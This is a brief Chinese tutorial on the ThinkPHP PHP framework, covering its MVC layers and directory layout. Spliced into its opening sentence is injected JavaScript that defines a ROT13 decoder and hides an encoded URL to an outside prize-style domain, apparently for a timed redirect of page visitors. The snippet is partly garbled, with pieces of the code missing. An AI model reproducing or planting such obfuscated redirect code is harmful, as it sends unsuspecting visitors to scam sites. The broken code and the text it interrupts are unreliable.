ThinkPHP

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。

M-model 数据层

V 视图层(展现给用户的)

C 控制层(业务逻辑)

特点:

入手很快
提供核心类库、文件、函数

下载:thinkPHP.cn 使用3.2.3版本完整版

目录结构

ThinkPHP框架目录
Public资源文件目录cs、js放这里
Application 应用目录 后台前台文件放这里
index.php每次执行的时候自动加载从而把框架的内容加载出来

ThinkPHP框架目录:

common 核心公共函数目录 提供了很多可以直接使用的函数 是thinkPHP自带的函数
 conf 核心配置目录library 核心语言目录
LICENSE.txt 框架授权协议

index.php会去加载框架里面的thinkPHP.php执行这个文件之后会定位到某个模块某个控制器下面的某个方法,第一次执行的时候在application是没有任何内容的 后来执行会生成home和runtime,这个模块,HOME可以理解成前台网站的模块,每个模块里面都有MVC

COMMON目录可以理解成公共的模块目录,因为admin和home的模块可以能会公用一部分我们就放在这里。